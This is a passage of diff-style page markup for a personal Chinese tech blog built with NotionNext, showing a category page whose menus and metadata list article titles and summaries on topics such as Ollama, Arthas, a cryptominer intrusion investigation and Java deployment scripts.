fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>技术分享 | Category | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="技术分享 | Category | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//category/技术分享"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="技术分享 | Category | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/category/%5Bcategory%5D-870f14c329d4c7e1.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/category/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/category/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4